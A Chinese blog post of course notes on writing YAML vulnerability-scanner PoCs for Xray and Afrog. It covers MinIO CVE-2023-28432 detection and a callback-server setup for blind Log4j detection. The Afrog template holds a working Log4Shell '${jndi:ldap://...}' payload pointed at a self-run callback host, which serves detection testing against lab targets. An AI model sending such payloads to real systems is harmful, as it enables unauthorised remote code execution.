深入解析:小迪安全v2023学习笔记(一百零三讲)—— 漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成

前记

  • 今天是学习小迪安全的第一百零三天,本节课主要内容是其他工具的PoC开发,了解一下如何写PoC,然后熟悉工具的使用

漏洞发现——第一百零三天

漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成

Xray&Afrog - PoC开发-环境配置&编写流程

  • 上节课讲了关于Nuclei这款工具的PoC开发,这节课主要是再讲其他两款工具——Xray和Afrog的PoC开发
  • 虽然都是使用yaml来开发,但由于每款工具都有它的解析语法,所以也有蛮大的不同,也需要了解一下
  • 开发的环境还是VSCode + YAML插件

Xray - PoC开发-数据回显&RCE不回显&实验室

分析PoC执行情况
.\xray_windows_amd64.exe --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx --html-output xx.html

在这里插入图片描述

开发流程
  • 其实这里同样,我们可以使用一个官方的PoC模板进行套用,但在此之前,我们简单了解一下Xray的PoC组成:
  1. 第一部分:名称部分
# 按照标准都是如下名称开头
name: poc-yaml-xxx

在这里插入图片描述

  1. 第二部分:rules: []Rule 脚本部分
set: 定义全局变量
transport: 通信协议
rules:规则,poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string, 作用是判断该条Rule的结果
search: string, 作用是从返回包中提取信息
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包

在这里插入图片描述

  1. 第三部分:信息部分
# 就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
# 包括作者、参考文章、漏洞评级等等
detail: map[string]string

在这里插入图片描述

案例1:CVE-2023-28432(匹配结果)
name: poc-yaml-CVE-2023-28432
transport: http
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
# 设置头部中重要的信息,这里只有这个比较重要,所以只设置这一个即可
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status == 200 && response.body_string.contains("MINIO_ROOT_USER") && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r0()
detail:
author: ulin
links:
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
  • 一定要注意缩进,这里是4个空格,否则它无法解析成功!,然后每个地方都要写正确,不然也没办法扫出漏洞!
.\xray_windows_amd64.exe webscan --poc "D:\Download\test\test.yaml" --url http://192.168.0.143:9000 --html-output 1.html

在这里插入图片描述

案例2:CVE-2021-44228(无回显匹配)
  • 这个用一个log4j的靶场,就是没有回显的案例,他需要去解析dns网址才能够判断漏洞是否存在

  • 那这种的话,在Xray和其他的漏扫工具中,如果没有配置过反连平台,基本都是扫不出来的,只能在PoC中写死dns地址,然后手工去看哪个网址访问过

  • 那么如何配置这个反连平台呢?参考文章:提升Xray挖洞能力-反连平台部署_xray反连平台-CSDN博客

  • 首先我们需要准备一台服务器和一个域名,然后去官网下载同本地相同版本的xray到服务器上:
    在这里插入图片描述

  • 然后在服务器上执行如下命令,配置环境:

# 先直接yum安装libpcap-devel:
yum install libpcap-devel
yum  -y install mlocate
updatedb
locate libpcap
# 然后配置相关环境:
cd /usr/lib64
ln -s libpcap.so.1.5.3 libpcap.so.0.8
  • 转到xray目录,赋予其执行权限之后,就可以执行了:
    在这里插入图片描述

  • 然后根据官方文档,配置一下服务器端的config.yaml文件,直接复制粘贴过来改一些东西,然后复制进对应位置即可:

# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:
db_file_path: "reverse.db"                      # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "<自己设置token>"                             # 反连平台认证的 Token, 独立部署时不能为空
  http:
  enabled: true
  listen_ip: 0.0.0.0
  listen_port: "33899"
  ip_header: ""                       # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
  dns:
  enabled: true
  listen_ip: 0.0.0.0
  domain: "<自己购买的域名>"                          # DNS 域名配置
    is_domain_name_server: true       # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
    resolve:                            # DNS 静态解析规则
    - type: A                           # A, AAAA, TXT 三种
    record: ns1
    value: <VPSIP>
      ttl: 60
      - type: A                           # A, AAAA, TXT 三种
      record: ns2
      value: <VPSIP>
        ttl: 60
        client:
        remote_server: false                # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
        http_base_url: "http://<VPSIP>:33899/"                   # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
          dns_server_ip: "<VPSIP>"                   # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
  • 修改完成后,启动反连平台看一下是否配置成功:
./xray reverse
  • 访问http://VPS的IP地址:33899/cland/如果有页面就说明生效(如果无法连接尝试关闭防火墙、安全组):
    在这里插入图片描述

  • 接下来配置DNS解析,添加ns1、ns2的A记录,指向VPSIP:
    在这里插入图片描述

  • 然后配置DNS服务器,位置在 域名控制台 → 域名列表 → 管理 → DNS管理 → 自定义DNS Host
    在这里插入图片描述

  • 再修改DNS服务器为刚才创建的两个DNS服务器:
    在这里插入图片描述

  • 等待大概十多分钟之后,我们进入反连平台的UI管理界面,通过Token登录之后,创建一个DNS域名:
    在这里插入图片描述

  • 这里可以本地去 ping ping 看有没有生效

  • 到此服务器的配置就结束了,我们接下来配置客户端也就是本地xray的config.yaml文件,修改之后复制到原本的文件即可:

# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:
db_file_path: ""                      # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "<与服务器端相同的Token>"                             # 反连平台认证的 Token, 独立部署时不能为空
  http:
  enabled: false
  listen_ip: 0.0.0.0
  listen_port: ""
  ip_header: ""                       # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
  dns:
  enabled: false
  listen_ip: 0.0.0.0
  domain: "<自己购买的域名>"                          # DNS 域名配置
    is_domain_name_server: false        # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
    resolve:                            # DNS 静态解析规则
    - type: A                           # A, AAAA, TXT 三种
    record: localhost
    value: 127.0.0.1
    ttl: 60
    client:
    remote_server: true                # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
    http_base_url: "http://<VPSIP>:33899/"                   # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
      dns_server_ip: "<VPSIP>"                   # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
  • 此时我们vulhub起一个log4j靶场,然后尝试用PoC扫一下:
.\xray_windows_amd64.exe webscan --poc poc-go-apache-log4j2-rce --url http://192.168.0.143:8983/solr/admin/cores?action=123

在这里插入图片描述

  • 如果我们将配置取消掉的话,就没办法扫出这个漏洞了

Afrog - PoC开发-数据回显&RCE不回显&JNDI注入

开发流程
  • 对于Afrog这款工具,它的PoC语法又不太一样,有点Nuclei和Xray结合的味道,开发参考文章:https://github.com/zan8in/afrog/wiki/Usage#pocs
  • 如果要对PoC的数据包进行分析,可以设置--proxy=127.0.0.1:8080参数:
# 去掉CVE-2024-23897是因为它莫名其妙会报错
afrog.exe -proxy http://127.0.0.1:8080 -t http://testphp.vulnweb.com/ -ep CVE-2024-23897

在这里插入图片描述

  • 然后我们的开发流程:
  1. 第一部分:id info 编号 信息(类似nuclei)
    在这里插入图片描述

  2. 第二部分:set rules 变量 脚本(类似xray)
    在这里插入图片描述

  3. 第三部分:expression 判断 执行(类似xray)
    在这里插入图片描述

案例1:CVE-2023-28432(有回显判断)
  • 这个就不用再多说了,直接照着写如下yaml文件即可:
id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
author: ulin
severity: critical
reference:
- https://vulhub.org/#/environments/minio/CVE-2023-28432/
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200 && response.body.bcontains(b"MINIO_ROOT_USER") && response.body.bcontains(b"MINIO_ROOT_PASSWORD")
expression: r0()

在这里插入图片描述

案例2:CVE-2021-44228(无回显判断)
  • 无回显可以是dns的,可以是jndi注入的,这里我就直接两个都放一个例子讲了

  • 我们可以打开Afrog的配置文件看看,默认路径为:$HOME/.config/afrog/afrog-config.yaml
    在这里插入图片描述

  • 它是提供了这两种漏洞检测的服务的,我们只需要配置对应的服务器地址即可加以判断

dns
  • 比如我们可以配置dns服务器,这里支持ceye.io这个平台,我们给他key和地址即可:
    在这里插入图片描述

  • 他就能够在扫描时去访问这个dns服务器,但是同样,它只能是告诉你可能有漏洞去访问这个dns服务器,我们需要通过抓包然后看发哪些包的时候访问了,然后一个一个看:
    在这里插入图片描述

jndi
  • 同样,这个也是,我们在服务器上起一个jndi服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
  • 然后将信息写到配置文件中:
    在这里插入图片描述

  • 写一个PoC文件为:

id: solr-log4j-rce
info:
name: Apache Solr Log4j Remote Code Execution
author: xiaodisec
severity: critical
verified: true
created: 2023/10/16
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
expression: reverse.jndi(5)
expression: r0()
  • 它就会成功识别到:
    在这里插入图片描述

  • 但是这里我没有成功,不知道什么情况,搞不懂,有时候就真的很奇怪,明明是同样的复现流程,有时候行有时候又不行,哎,头痛

posted on 2025-11-08 21:44  blfbuaa  阅读(25)  评论(0)    收藏  举报